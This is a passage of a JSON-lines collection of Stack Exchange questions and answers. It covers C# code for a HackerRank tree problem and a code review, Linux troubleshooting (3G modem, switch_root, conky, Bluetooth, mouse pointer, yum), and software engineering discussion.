Dictionary<long, long> edgesWithMaxWeightInclusive { set; get; }        private Dictionary<long, long> edgesWithMinWeightInclusive { set; get; }        public Graph()        {            nodes = new Dictionary<long, Node>();            edges = new Dictionary<long, Edge>();            edgesWithMaxWeight = new Dictionary<long, long>();            edgesWithMinimumWeight = new Dictionary<long, long>();            edgesWithMaxWeightInclusive = new Dictionary<long, long>();            edgesWithMinWeightInclusive = new Dictionary<long, long>();        }        /// <summary>        /// Node class - ID, ConnectedEdges, weight,         /// using LinkedList for ConnectedEdges        /// kind of smart using LinkedList for ConnectedEdges         /// How to define connected edges for each node?         /// Go over the sample test case to figure out,         /// node 1 - weight -9, connected edges        /// is a linked list with 2 nodes, where first node is edge 1         /// which are connected by Id 1 and Id 6,         /// and the second node is edge 5 which are connected by         /// Id 1 and Id 2.         /// </summary>        internal class Node        {            public long Id { get; private set; }            public long Weight { get; private set; }            public LinkedList<Edge> ConnectedEdges;            public Node(long id, long weight)            {                Id = id;                Weight = weight;                ConnectedEdges = new LinkedList<Edge>();            }        }        internal class Edge        {            public long ID { get; private set; }            public long Node1 { get; private set; }            public long Node2 { get; private set; }            public Edge(long id, long node1, long node2)            {                ID = id;                Node1 = node1;                Node2 = node2;            }            /// <summary>            /// one edge has one edge id and two nodes with two node's             /// Ids, then the node with large node id            /// takes the positive edge id whereas the small one             /// uses negative edge id.                     /// </summary>            /// <param name=signedEdgeId></param>            /// <returns></returns>            public static long GetEdgeId(long signedEdgeId)            {                return Math.Abs(signedEdgeId);            }            /// <summary>            /// one edge has two node ids, and then one edge id and             /// its negative value both            /// are used for edge id.             /// </summary>            /// <param name=signedEdgeId></param>            /// <returns></returns>            public long GetNodeId(long signedEdgeId)            {                return signedEdgeId > 0 ? GetMaxOne() : GetMinimumOne();             }            public long GetMaxOne()            {                return Math.Max(Node1, Node2);            }            public long GetMinimumOne()            {                return Math.Min(Node1, Node2);            }        }        /// <summary>        ///         /// </summary>        /// <param name=edgeID></param>        /// <param name=id1></param>        /// <param name=id2></param>        public void AddEdge(long edgeID, long id1, long id2)        {            var edge = new Edge(edgeID, id1, id2);            edges.Add(edgeID, edge);            var node1 = nodes[id1];            var node2 = nodes[id2];            // each node has connected edges stored as a linked list            node1.ConnectedEdges.AddLast(edge);            node2.ConnectedEdges.AddLast(edge);        }        public void AddNode(long id, long weight)        {            nodes.Add(id, new Node(id, weight));        }                        /// <summary>        /// minimum maximum value tree -         /// </summary>        private void fillMinMaxTrees()        {            foreach (var edge in edges.Values)            {                var id = edge.ID;                if (!edgesWithMaxWeight.ContainsKey(id))                {                    fillMinMaxTreeForEdge_DFS(id);                }                if (!edgesWithMaxWeight.ContainsKey(-id))                {                    fillMinMaxTreeForEdge_DFS(-id);                }            }        }        /// <summary>        /// how to understand the max tree for the edge?        /// Take the sample test case, and understand it.         /// It is a DFS search, for each edge, try to find max/ min value.         /// First edge with edgeId = 1, node Id 6 connects to node Id 1,         /// so node id 6 only has one extra connected edge to node 3,        ///  which only has one connected edge.          /// Node Id = 1, which has connected edge 5(1-2), then DFS         /// search to edge 4(5-2), then DFS        /// search edge 2 (4-5), node 4 has only one connected edge         /// which is the base case.          /// </summary>        /// <param name=signedEdgeId></param>        private void fillMinMaxTreeForEdge_DFS(long signedEdgeId)        {            long edgeId = Edge.GetEdgeId(signedEdgeId);            var edge = edges[edgeId];                        long nodeId = edge.GetNodeId(signedEdgeId);            var node = nodes[nodeId];            var connectedEdges = node.ConnectedEdges;            // base case - node with one connected edge.             if (connectedEdges.Count == 1)            {                var weight = node.Weight;                edgesWithMaxWeight.Add(signedEdgeId, weight);                edgesWithMinimumWeight.Add(signedEdgeId, weight);                edgesWithMaxWeightInclusive.Add(signedEdgeId, weight);                edgesWithMinWeightInclusive.Add(signedEdgeId, weight);                return;            }            long max = long.MinValue;            long min = long.MaxValue;            long maxInclusive = node.Weight;            long minInclusive = node.Weight;            foreach (var item in connectedEdges)            {                var current = item.ID;                var node1 = item.Node1;                var node2 = item.Node2;                if (current == edgeId)                {                    continue;                }                long id = node1 == nodeId ? node2 : node1;                long signedId = id > nodeId ? current : -current;                if (!edgesWithMaxWeight.ContainsKey(signedId))                {                    fillMinMaxTreeForEdge_DFS(signedId);                }                max = Math.Max(edgesWithMaxWeight[signedId], max);                min = Math.Min(edgesWithMinimumWeight[signedId], min);                maxInclusive = Math.Max(edgesWithMaxWeightInclusive[signedId] + maxInclusive, maxInclusive);                minInclusive = Math.Min(edgesWithMinWeightInclusive[signedId] + minInclusive, minInclusive);            }            max = Math.Max(max, maxInclusive);            min = Math.Min(min, minInclusive);            edgesWithMaxWeight.Add(signedEdgeId, max);            edgesWithMinimumWeight.Add(signedEdgeId, min);            edgesWithMaxWeightInclusive.Add(signedEdgeId, maxInclusive);            edgesWithMinWeightInclusive.Add(signedEdgeId, minInclusive);        }        /// <summary>        /// Need to find two disjoint set with maximum value of         /// product of sum. Each disjoint set has        /// its weight to sum all the nodes's weight.         /// </summary>        /// <returns></returns>        public long FindMaxProductTwoDisjointSets()        {            fillMinMaxTrees();            long maxProduct = long.MinValue;            foreach (var edge in edges.Values)            {                var id = edge.ID;                var set1Value = edgesWithMaxWeight[id];                var set2Value = edgesWithMaxWeight[-id];                maxProduct = Math.Max(set1Value * set2Value, maxProduct);                set1Value = edgesWithMinimumWeight[id];                set2Value = edgesWithMinimumWeight[-id];                maxProduct = Math.Max(set1Value * set2Value, maxProduct);            }            return maxProduct;        }    }    static void Main(String[] args)    {        ProcessInput();        //RunTestcase();     }    public static void RunTestcase()    {        int n = 6;        int[] weights = new int[] { -9, -6, -1, 9, -2, 0 };        int[][] edgeInfo = new int[5][];        edgeInfo[0] = new int[] { 6, 1 };        edgeInfo[1] = new int[] { 4, 5 };        edgeInfo[2] = new int[] { 6, 3 };        edgeInfo[3] = new int[] { 5, 2 };        edgeInfo[4] = new int[] { 1, 2 };        var graph = new Graph();        for (long i = 0; i < n; i++)        {            graph.AddNode(i + 1, weights[i]);        }        for (int i = 0; i < n - 1; i++)        {            graph.AddEdge(i + 1, edgeInfo[i][0], edgeInfo[i][1]);        }        Console.WriteLine(graph.FindMaxProductTwoDisjointSets());    }    public static void ProcessInput()    {        long n = Convert.ToInt32(Console.ReadLine());        // The respective weights of each node:        string[] w_temp = Console.ReadLine().Split(' ');        int[] w = Array.ConvertAll(w_temp, Int32.Parse);        var graph = new Graph();        for (long i = 0; i < n; i++)        {            graph.AddNode(i + 1, w[i]);        }        for (long i = 0; i < n - 1; i++)        {            // Node IDs 'u' and 'v' are connected by an edge:            string[] tokens_n = Console.ReadLine().Split(' ');            long u = Convert.ToInt32(tokens_n[0]);            long v = Convert.ToInt32(tokens_n[1]);            graph.AddEdge(i + 1, u, v);        }        Console.WriteLine(graph.FindMaxProductTwoDisjointSets());    }}"  , "title": "Hackerrank - Maximum Disjoint Subtree Product"  , "tags": "c#;tree;graph;dynamic programming;depth first search"  } 
{  "id": "_unix.160438"  , "question": "I'm looking to build a microcomputer cluster at work for stress testing one of our applications, and while I have a little financial leeway, I would like to keep the cost low and the computing capability high. I'm also very new to the idea of parallel computing, and the little research I've done so far is rather overwhelming. Here is what I want to do:have a cluster of n machinessend a command for these machines to run (preferably, they distribute the work amongst themselves, but if I have to send to each of them in sequence that's fine too), and have them report back to me when they're donepreferably with nodejs, but other scripting languages like python and ruby are fine tooI don't know how to get code to the devices, but I would expect to send something like this from my machine if they ran in parallel:cluster.runTest(0, 1000)where cluster.runTest looks like this:runTest = function(start, num) {   for(var i=start; i<num; i++) { //split up which devices runs which commands, hopefully    sendRequestToServer()  }}However, if they can't delegate amongst themselves:for(var i=0; i<10; i++) { //10 devices  chips[i].runCommand(i*100, (i+1)*100) //run a certain chunk of commands}.. would be sufficient.Pis are cheap, but they don't seem to have the kind of power I would need to run these commands in a reasonable time. On the other hand, I stumbled across the Parallella which seems to be sufficient, but costs a bit more. I've looked at others like wandboard, cubox, beaglebone, and many, many others.I apologize if my ideas of how this work are incorrect, please feel free to let me know how this would actually work! I'm also not sure if opinion questions are allowed here, but I'm trying to keep it as objective as possible."  , "title": "Microcomputer cluster for stress testing"  , "tags": "cluster;parallelism"  } 
{  "id": "_unix.131364"  , "question": "I am using Arch linux (fully updated). I have been trying to get my BSNL 3G usb modem to work to no avail for the past couple of hours. I have already installed modeswitch, wvdial, modem manager, gnome-ppp, etc but whatever I try throws up some error or the other. When I try wvdial now, this is what I get:--> WvDial: Internet dialer version 1.61--> Initializing modem.--> Sending: ATZATZOK--> Sending: ATQ0 V1 E1 +FCLASS=0ATQ0 V1 E1 +FCLASS=0OK--> Sending: ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0ERROR--> Bad init string.When I run modeswitch to maybe change the usage mode of the modem, I get this error :[venkat@hal9000 ~]$ sudo usb_modeswitch -v 19d2 -p 2003 -u 2Look for default devices ...   product ID matchedGet the current device configuration ... Found devices in default mode (1)Access device 008 on bus 001Current configuration number is 1Use interface number 0USB description data (for identification)-------------------------Manufacturer: ZTE,Incorporated     Product: ZTE WCDMA Technologies MSM  Serial No.: MF1800ZTED010000-------------------------Change configuration to 2 ... Device is busy, try to detach kernel driverLooking for active driver ... No active driver found. Detached before or never attached Device is busy, try to detach kernel driverLooking for active driver ... No active driver found. Detached before or never attached Device is busy, try to detach kernel driverLooking for active driver ... No active driver found. Detached before or never attached Device is busy, try to detach kernel driverLooking for active driver ... No active driver found. Detached before or never attached Changing the configuration failed (error -6). Try to continue-> Run lsusb to note any changes. Bye!I need some quick help setting this up guys as I will be travelling in a few days. Also, this is my wvdial.conf file :[Dialer Defaults]Init1 = ATZInit2 = ATQ0 V1 E1 +FCLASS=0Init3 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0Password = '9445143977'Phone = *99#Modem Type = Analog ModemStupid Mode = 1Baud = 9600Dial Command = ATDTModem = /dev/ttyUSB1ISDN = 0Username = '9445143977'Auto Reconnect = off"  , "title": "BSNL 3G USB modem not connecting"  , "tags": "networking;arch linux;modem;3g;wvdial"  } 
{  "id": "_unix.326321"  , "question": "My goal is to unmount the root disk so I can format it. To do this, I want to switch root from the hard disk to some other root.  I have chosen to use the files from the initramfs (which contains a minimal root file system) to create a rootfs to switch back to.I'm doing this on a clean install of Ubuntu 16.04.The following commands create a ramdisk and copies the contents of the initramfs onto the ramdisk.dd if=/dev/zero of=/dev/ram bs=1k count=209715mke2fs -vm0 /dev/ram 209715mount -t ext2 /dev/ram /ramroot/cd /ramroot/zcat /boot/initrd.img-4.4.0-47-generic | cpio -idmvmkdir old-rootHowever when I do the switch_root command I get Invalid argumentroot@ubuntu-512mb-nyc3-01:/ramroot# switch_root /ramroot /ramroot/old-rootswitch_root: failed to mount moving /run to /ramroot/run: Invalid argumentswitch_root: forcing unmount of /runswitch_root: failed to mount moving /ramroot to /: Invalid argumentswitch_root: failed. Sorry.What am I doing wrong?"  , "title": "switch_root gives Invalid argument"  , "tags": "ubuntu;initramfs;initrd"  } 
{  "id": "_webmaster.56215"  , "question": "I have a website where all the links have an authorship tag added. It used to show up in the Google results properly, but for the past couple of days, it is not appearing for other users. My photo is visible only if I search and find a URL while logged into Google. It doesn't show up for other users, it just shows my name in that case.The tag that I am using on my website is:<div id='authorShip' style='display:none'>By <a href=https://plus.google.com/110868407818568346432/ rel=author>Prashant Singh</a></div>The div was kept invisible from very beginning! What could be the possible issue?"  , "title": "Google Authorship image only visible to author"  , "tags": "seo;google authorship"  } 
{  "id": "_codereview.160172"  , "question": "What do you guys think about this? I myself think it is pretty usefull, But how does it look from an OOP perspective?Here's an example classpublic class Person{    private string firstName, lastName;    private int id;    private static int statId;    private static List<Person> persons = new List<Person>();    public Person(string firstName,string lastName)    {        this.firstName = firstName;        this.lastName = lastName;        //Like this, everytime a new object of Person is created, the ID will be the id of the last created object +1        id = statId;        statId++;        //Everytime you create a new instance of this class, it will be added to the list        persons.Add(this);    }    public static Person GetPersonById(int id)    {        foreach(Person per in persons)        {            if (per.ID == id)                return per;        }        return null;    }    public int ID    {        get { return id; }    }    public static List<Person> GetPersons()    {        return persons;    }        public string FirstName    {        get { return firstName; }        set { firstName = value; }    }    public string LastName    {        get { return lastName; }        set { lastName = value; }    }}Now, aside from being able to use this class to store persons, you can also use some methods like GetPersonById and GetPersons / the PersonList property without instantiating it, and whenever you do instantiate it to make a new person, it automatically adds it to the list"  , "title": "A Person class containing a list of Persons"  , "tags": "c#"  , "accepted_answer": "But how does it look from an OOP perspective?Not very good because it combines multiple responsibilities in a single class. the one of a data object as the Person is clear, I guess. The other two arethe repository represented byprivate static List<Person> persons = new List<Person>();public static Person GetPersonById(int id){    foreach(Person per in persons)    {        if (per.ID == id)            return per;    }    return null;}public static List<Person> GetPersons(){    return persons;}and the factory represented byprivate static int statId;statId++;This means that the Person should actually be three classes.On top of all this you cannot test it because the nested factory is a static one and if you try to write a test validating the statId++ you couldn't because you cannot verfiy that it'll do +1 to the last id because if any other test executes at the same time the result might actually be +2 or even more. You also cannot verify that it correctly adds the new instance to the list because agian, if any tests execute at the same time you could have more then one object added to the list.id = statId;statId++;I find this is not how the id increment should be implemented. statId should not be the next index but the last one. What if you decide to add a property like LastId? You'd have to calculate it first with statId - 1 - ugly. Instead use the prefix ++ like id = ++statId and start with int statId = -1; that is usually considered as na invalid index in many APIs. Then the LastId property could just be LastId => statId;."  } 
{  "id": "_unix.211413"  , "question": "I'd like to know how bug fixing exactly works in Linux distributions. I mean, after all a distro is made of opensource software made by external developers, and then packaged by the distro's maintainers. So why every distro has it own bug tracker? Shouldn't these bugs be submitted to the original authors of such softwares? "  , "title": "How bug fixing exactly works in a distro ? upstream vs downstream"  , "tags": "packaging;distributions;bugs"  , "accepted_answer": "(I'll refer to original authors or original software as upstream authors and upstream software because that's what I'm used to calling them.)From the end-user's perspective, it's nice to have a single place to report bugs, rather than having to sign up for accounts in various upstream bugtrackers for all the software they use.From an upstream author's perspective, it's nice to be shielded from a distribution's users' bug reports, for a couple of reasons:the distribution's maintainers may introduce bugs themselves (or bugs may occur because of interactions between a distribution's packages), it shouldn't be up to the upstream author to fix those;the distribution may have requirements that the upstream software author doesn't care about or can't handle (e.g. various hardware architectures).Note that this doesn't mean that bugs which are in the upstream software don't get forwarded; if a user files a bug in a distribution bug tracker, and the bug is upstream's responsibility, then the bug will be forwarded to the upstream bug tracker. But usually the distribution maintainer will take care of that. For complex bugs the user may well be instructed to follow up upstream though, to avoid a middle-man. Distribution bug trackers support this quite well, and will update a bug's status automatically as it changes in the upstream bug tracker.From a distribution maintainer's perspective, it's necessary to have some distribution-specific bug tracker to track work to be done in the distribution itself (library version changes, new toolchains, new architectures, new distribution tools...).In addition, in many cases distributions provide support for older versions of packages, where bugs may still exist even though they have already been fixed by the upstream author in newer versions of the software. In that situation, it's somewhat annoying for users to ask upstream authors to fix the bugs, since they're already fixed from upstream's perspective; if the bug is sufficiently annoying, it should be up to the distribution's maintainers to backport the fix. (This is debatable for security fixes in important packages; many upstream provide security fixes for older releases themselves.)A further factor to take into account is that there may no longer be an upstream for some pieces of software which are still important; this was the case for a long time for cron for example. If distributions didn't have their own bug trackers there would be nowhere for users to report bugs in such pieces of software.In most projects all this tends to happen quite naturally, in a friendly fashion: distribution maintainers help upstream fix bugs, and vice versa, and distribution maintainers share bug fixes with other distributions."  } 
{  "id": "_codereview.29790"  , "question": "I have a process that reads multiple sheets from an Excel file, then inserts the data into a database table. However, I am experiencing some memory issues when one of the sheets contains more than 65536 rows and am looking for ideas on how to improve the code.In summary, I am using cfspreadsheet to read an uploaded Excel file. (In most cases, the file contains a single sheet. However, in some cases it is more than 2 sheets.) The process always reads the first sheet ie Details . If more than 65533 rows are found, it then reads the second sheet too i.e. Details_1. Finally, I use a QoQ and UNION ALL to create a combined query. Once read, the data is inserted into a database table.Can anyone offer suggestions for improving the process to make it less memory intensive?<cffunction name=putExcel access=remote returnFormat=plain output=true>     <cfargument name=xclfile required=no type=string default=0>     <cfset ins =insertUserLog(#Session.user_name#,#Session.user_code#,putExcel function called for  Upload,,)>    <cftry>        <cfset fileEXCL = #ExpandPath('../folder')#/#arguments.xclfile# />                          <!---when there e 2 Sheets --->              <!---get info from  sheet1 as a query1--->                   <cfspreadsheet action=read src=#fileEXCL# sheet=1 query=Query1 headerrow=1 />         <!--- recordcount for sheet1 as count1--->                        <cfset count1 =#Query1.recordcount#>        <!--- case when excel has more than 65533 rows                                ;THIS IMPLIES THAT THERE 2 SHEETS)--->           <cfif count1 gt 65533>         <!--- take info from  sheet 2 as a query2 and count as count2--->               <cfspreadsheet action=read src=#fileEXCL# sheet=2 query=Query2 headerrow=1  />            <cfset count2 =#Query2.recordcount#>            <!---club both query's using QoQ and call it excelQuery--->            <cfquery dbtype=query name=excelQuery>                SELECT * FROM Query1                UNION ALL                  SELECT * FROM Query2            </cfquery>            <!---total record count for sheet1 & sheet2--->            <cfset rowCount =#excelQuery.recordcount#>                      <cfelse>                            <!---this case there is just 1 query Query1 ;rename it excelQuery--->            <cfquery dbtype=query name=excelQuery>                SELECT * FROM Query1             </cfquery>            <!--- recordcount for sheet1--->            <cfset rowCount =#excelQuery.recordcount#>          </cfif>         <cflog file=Collections application=yes  text=#Session.user_info.uname# logged in. Data  file #fileEXCL# read. Recordcount:#rowCount# type=Information>        <cfset ins =insertUserLog(#Session.user_name#,#Session.user_code#,file #fileEXCL# read. ,Recordcount:#rowCount#,)>        <cfcatch type=any >                       <cflog file=Collections application=yes text=Error in reading Data  file #fileEXCL#. type=Error>            <cfset ins =insertUserLog(#Session.user_name#,#Session.user_code#,error file,failed,#cfcatch.Message#)>            <cfreturn 1>        </cfcatch>       </cftry>    ... etc..."  , "title": "Reading Excel (93-97) sheet with more than 65536 rows using cfspreadsheet"  , "tags": "sql;excel;coldfusion;cfml"  } 
{  "id": "_codereview.121006"  , "question": "I've got the following code in my calculator project:private ITerm CalculatePostfixExpression(IEnumerable<ITerm> input){    var tempResult = new Stack<ITerm>();    foreach (var term in input)    {        if (term is IOperand)        {            tempResult.Push(term as IOperand);        }        if (term is IOperator)        {            tempResult.Push(ProceedOperation(term as IOperator, tempResult));        }    }    return tempResult.Peek();}Now it's violating the open-closed principle, so I'm asking for a help to improve my code.It's kinda like a Replace Conditional with Polymorphism but I can't understand how to use it in my case."  , "title": "Calculating a postfix expression"  , "tags": "c#;.net;calculator;polymorphism"  } 
{  "id": "_unix.66840"  , "question": "In my .conkyrc File I use some Shell-Scripts and call it via {execi}.The Problem is it doesnt execute these scripts on startup, e.g. get_public_ip.sh doesnt need to get called every 30 seconds like the get_cpu_temp.sh, so I use {exceci 3600 get_public_ip.sh}with this command I have to wait 1 Hour till I get my public IP because conky doesnt call the script on startup!How can I configure conky so it will call all {execi} lines on startup?"  , "title": "conky execi doesnt execute on startup"  , "tags": "conky"  , "accepted_answer": "As far as I can tell execi should work, not sure why it doesn't. In any case, I get conkyto show my public IP as follows:${texeci 3600 wget -qO - http://cfajohnson.com/ipaddr.cgi}Try replacing execi with texeci, see if that helps.Another possible problem is that conky may be loaded before your connection is established. If so, it will run your execi command on startup but it will get no result since you are not connected yet. I get around this type of problem by launching conky through a wrapper script that looks like this:#!/bin/bashsleep 20conky"  } 
{  "id": "_cstheory.1290"  , "question": "What useful algorithms do there exist that work on huge data streams and also their results are fairly small and one can compute the result for a mixture of two streams by somehow merging their results?I can name a few:The obvious things like sum, min, max, count, top-K etc.Approximate so called sketch-based stream algorithms for histograms, counting distinct items or computing quantilesWhat others are there?(I'm interested because I'm writing a hobby project for monitoring distributed systems whose usefulness is directly determined by the usefulness of such algorithms)"  , "title": "Divide and conquer data stream algorithms"  , "tags": "ds.algorithms;big list;data streams"  , "accepted_answer": "Guha et al. '03 give an approximation algorithm for k-median clustering in the streaming model.  Their algorithm divides the data into disjoint pieces, finds O(k) centers for each disjoint piece, and then combines the results to get the k centers.  This seems to be the type of algorithm you're looking for."  } 
{  "id": "_unix.232788"  , "question": "Wifi works fine, but when I try to use bluetooth, it says No bluetooth adapters found. I have Bluetooth turned on in the BIOS, and I know that my wireless card supports Bluetooth.Here's my laptop's model: http://www.pcworld.com/product/552981/inspiron-14r-notebook.htmlBus 002 Device 004: ID 8086:0188 Intel Corp. WiMAX Connection 2400mBus 002 Device 003: ID 046d:c52f Logitech, Inc. Unifying ReceiverBus 002 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching HubBus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 001 Device 004: ID 0c45:641d Microdia 1.3 MPixel Integrated WebcamBus 001 Device 007: ID 413c:8162 Dell Computer Corp. Integrated Touchpad  [Synaptics] Bus 001 Device 006: ID 413c:8161 Dell Computer Corp. Integrated KeyboardBus 001 Device 003: ID 0a5c:4500 Broadcom Corp. BCM2046B1 USB 2.0 Hub (part of BCM2046 Bluetooth)Bus 001 Device 002: ID 8087:0020 Intel Corp. Integrated Rate Matching HubBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub[    0.248151] [Firmware Bug]: ACPI: BIOS _OSI(Linux) query ignored[    0.265149] [Firmware Bug]: ACPI: No _BQC method, cannot determine initial brightness[   12.290100] Bluetooth: Core ver 2.19[   12.290129] Bluetooth: HCI device and connection manager initialized[   12.290140] Bluetooth: HCI socket layer initialized[   12.290144] Bluetooth: L2CAP socket layer initialized[   12.290157] Bluetooth: SCO socket layer initialized[   12.319209] Bluetooth: BNEP (Ethernet Emulation) ver 1.3[   12.319212] Bluetooth: BNEP filters: protocol multicast[   12.319222] Bluetooth: BNEP socket layer initialized[   12.390067] Bluetooth: RFCOMM TTY layer initialized[   12.390085] Bluetooth: RFCOMM socket layer initialized[   12.390095] Bluetooth: RFCOMM ver 1.11[   12.782452] iwlwifi 0000:03:00.0: loaded firmware version 41.28.5.1 build 33926 op_mode iwldvm[   17.925009] i2400m_usb 2-1.5:1.0: firmware interface version 9.3.2Linux Digv2 3.16.0-38-generic #52~14.04.1-Ubuntu SMP Fri May 8 09:43:57 UTC   2015 x86_64 x86_64 x86_64 GNU/Linux0: phy0: Wireless LAN    Soft blocked: no    Hard blocked: no1: i2400m-usb:2-1.5:1.0: WiMAX    Soft blocked: yes    Hard blocked: no  "  , "title": "Bluetooth not showing on Dell inspiron 14r N4010 running linux mint 17.2"  , "tags": "linux mint;drivers;bluetooth"  } 
{  "id": "_softwareengineering.176219"  , "question": "Why don't we have a lot of good web-based IDEs? Which aspects of the system make it difficult for IDE to be implemented as a web application?"  , "title": "Why don't we have web IDEs?"  , "tags": "web applications;ide;gui"  , "accepted_answer": "Modern IDEs are wrappers around more primitive tools (ie local compilers and debuggers) so you can't really answer the question without considering the limitations of pure web-based development in general.One huge reason web based dev would be limited would have to be the inability to access local resources:Can't communicate with local device hardwareCan't develop desktop apps without a web-based emulatorCan't access my local file system.Can't setup a socket interface bound to my local networkSome other questions would have to be answered about a web-based IDE's ecosystemHow do I install dependencies (ie python libraries via a web interface?)Could the IDE work with all the tools I need?How do I configure required tools via a web interface? How would I configure say reddis? How would I install boost as a C++ dev? What if at the same time I need to do QT dev?Will I be able to use arbitrary legacy code/libraries. I was told there would be FORTRAN :).How do I deploy my code?How do I perform remote debugging on a customer's deployed process (whatever that is equivalent to in this ecosystem)In short I'd need a different model for development that didn't require config files, use things like stdin/stdout, etc. It'd have to be a web interface to a full VM. How would we do that? All the legacy work to do software installation etc is built around the desktop/command line interfaces.So you'd be limited to a specific subset of programming. Probably limited to a pre-efined scope in pre-installed tools and libraries. Which likely is fine in a very narrow sense. I could see a web IDE for quickly standing up web apps. But Desktop Apps? Specialized apps (desktop or otherwise) that communicate with a specialized hardware? Apps that live in a very specific network enviroment? Apps that rely on very specific libraries?I'm excited about the possibilities, especially coupled around VMs like EC2 instances. Some web tools built around your EC2 instance to aid in general development might be a cool area to work on. Don't want to limit the possibilities, but there's plenty of challenges that make this very hard compared to using a desktop dev environment."  } 
{  "id": "_unix.12665"  , "question": "Have tried many windows managers including TWM, xfce and Gnome, but my mouse pointer is gone. It is invisible, but it performs all the actions. If I do the right click the context menu opens and this is how I can tell what the current location of the pointer is.This is a newest stable built of Debian.How can I restore the mouse pointer?The output from lsmod is included below.Links to Xserver logs and dmesg output.Can anybody help?UPDATE:It does indeed work well with the 2.6.38 kernel.lsmod:Module                  Size  Used bynls_utf8                 908  1 nls_cp437               4489  1 vfat                    6570  1 fat                    34912  1 vfatusbhid                 28008  0 hid                    50909  1 usbhidcpufreq_conservative     4018  0 cpufreq_userspace       1480  0 cpufreq_powersave        602  0 cpufreq_stats           1940  0 ppdev                   4058  0 lp                      5570  0 sco                     5857  2 bridge                 33019  0 stp                      996  1 bridgebnep                    7444  2 rfcomm                 25175  0 l2cap                  21709  4 bnep,rfcommbluetooth              36319  6 sco,bnep,rfcomm,l2capbinfmt_misc             4907  1 fuse                   44256  1 ext4                  257803  1 jbd2                   56155  1 ext4crc16                   1027  2 l2cap,ext4loop                    9765  0 firewire_sbp2           9647  0 snd_intel8x0           19595  0 snd_ac97_codec         79148  1 snd_intel8x0arc4                     974  4 ecb                     1405  4 ac97_bus                 710  1 snd_ac97_codecrt2500pci              11303  0 snd_pcm_oss            28671  0 rt2x00pci               3773  1 rt2500pcisnd_mixer_oss          10461  1 snd_pcm_ossath5k                 104074  0 rt2x00lib              19101  2 rt2500pci,rt2x00pciath                     6014  1 ath5ksnd_pcm                47226  3 snd_intel8x0,snd_ac97_codec,snd_pcm_ossi915                  223024  2 mac80211              123570  3 rt2x00pci,ath5k,rt2x00libsnd_seq_midi            3576  0 cfg80211               87657  4 ath5k,rt2x00lib,ath,mac80211snd_rawmidi            12513  1 snd_seq_mididrm_kms_helper         18309  1 i915snd_seq_midi_event      3684  1 snd_seq_midirfkill                 10264  3 bluetooth,cfg80211eeprom_93cx6             963  1 rt2500pcidrm                   112088  3 i915,drm_kms_helpersnd_seq                35463  2 snd_seq_midi,snd_seq_midi_eventpcmcia                 16194  0 snd_timer              12258  2 snd_pcm,snd_seqi2c_algo_bit            3497  1 i915snd_seq_device          3673  3 snd_seq_midi,snd_rawmidi,snd_seqyenta_socket           16403  3 rsrc_nonstatic          7057  1 yenta_socketasus_laptop            11090  0 pcmcia_core            20450  3 pcmcia,yenta_socket,rsrc_nonstatici2c_i801                6462  0 parport_pc             15799  1 joydev                  6739  0 led_class               1757  3 ath5k,rt2x00lib,asus_laptopparport                22554  3 ppdev,lp,parport_pci2c_core               12787  5 i915,drm_kms_helper,drm,i2c_algo_bit,i2c_i801snd                    34375  9 snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_rawmidi,snd_seq,snd_timer,snd_seq_deviceshpchp                 21220  0 evdev                   5609  13 video                  14605  1 i915battery                 3782  0 processor              26327  1 button                  3598  1 i915ac                      1640  0 rng_core                2178  0 output                  1204  1 videopcspkr                  1207  0 soundcore               3450  1 sndsnd_page_alloc          5045  2 snd_intel8x0,snd_pcmpsmouse                44809  0 serio_raw               2916  0 pci_hotplug            18065  1 shpchpext3                   94204  1 jbd                    32169  1 ext3mbcache                 3762  2 ext4,ext3usb_storage            30833  1 sd_mod                 26005  6 crc_t10dif              1012  1 sd_mod8139too                14949  0 ata_generic             2067  0 ata_piix               17736  3 uhci_hcd               16057  0 firewire_ohci          16725  0 thermal                 9206  0 8139cp                 13421  0 libata                115753  2 ata_generic,ata_piixehci_hcd               28681  0 firewire_core          31243  2 firewire_sbp2,firewire_ohcicrc_itu_t               1035  1 firewire_corethermal_sys             9378  3 video,processor,thermalmii                     2714  2 8139too,8139cpusbcore                98733  5 usbhid,usb_storage,uhci_hcd,ehci_hcdnls_base                4541  5 nls_utf8,nls_cp437,vfat,fat,usbcorescsi_mod              101429  4 firewire_sbp2,usb_storage,sd_mod,libata"  , "title": "Lost mouse pointer in XServer"  , "tags": "debian;mouse;x server"  , "accepted_answer": "You seem to be affected by a bug in the i915 driver on the 852GM chip family. There are patches available, but it seems that they may cause other bugs on some chips. A workaround that works for some people is to suspend and resume.Freedesktop bug #29413: [855GM bisected] Mouse cursor invisible since kernel 2.6.35Debian bug #619019: xserver-xorg-video-intel: latest update to debian squeeze made the mouse pointer invisible in my openbox/gdm sessionUbuntu bug #642283: [852gm] invisible mouse cursor"  } 
{  "id": "_unix.383170"  , "question": "I'm using Amazon Linux.  When I run sudo yum install it eventually errors out with the following[myuser@mydomain ~]$ sudo yum update[sudo] password for myuser:Loaded plugins: fastestmirror, priorities, update-motd, upgrade-helperLoading mirror speeds from cached hostfile * CentOS-base: mirror.us.leaseweb.net * CentOS-extras: mirror.us-midwest-1.nexcess.net * CentOS-updates: mirrors.centos.webair.com * amzn-main: packages.us-east-1.amazonaws.com * amzn-updates: packages.us-east-1.amazonaws.com * base: mirror.us.leaseweb.net * updates: mirrors.centos.webair.comamzn-main/latest                                                                                                                                                                     | 2.1 kB     00:00amzn-updates/latest                                                                                                                                                                  | 2.3 kB     00:006590 packages excluded due to repository priority protectionsResolving Dependencies--> Running transaction check---> Package GConf2.x86_64 0:2.28.0-6.el6 will be updated---> Package GConf2.x86_64 0:2.28.0-7.el6 will be an update---> Package ORBit2.x86_64 0:2.14.17-5.el6 will be updated...---> Package google-chrome-stable.x86_64 0:60.0.3112.78-1 will be an update--> Processing Dependency: libgtk-3.so.0()(64bit) for package: google-chrome-stable-60.0.3112.78-1.x86_64--> Processing Dependency: libgdk-3.so.0()(64bit) for package: google-chrome-stable-60.0.3112.78-1.x86_64---> Package texlive-currfile.noarch 2:svn29012.0.7b-27.21.amzn1 will be installed--> Finished Dependency Resolution--> Running transaction check---> Package google-chrome-stable.x86_64 0:60.0.3112.78-1 will be an update--> Processing Dependency: 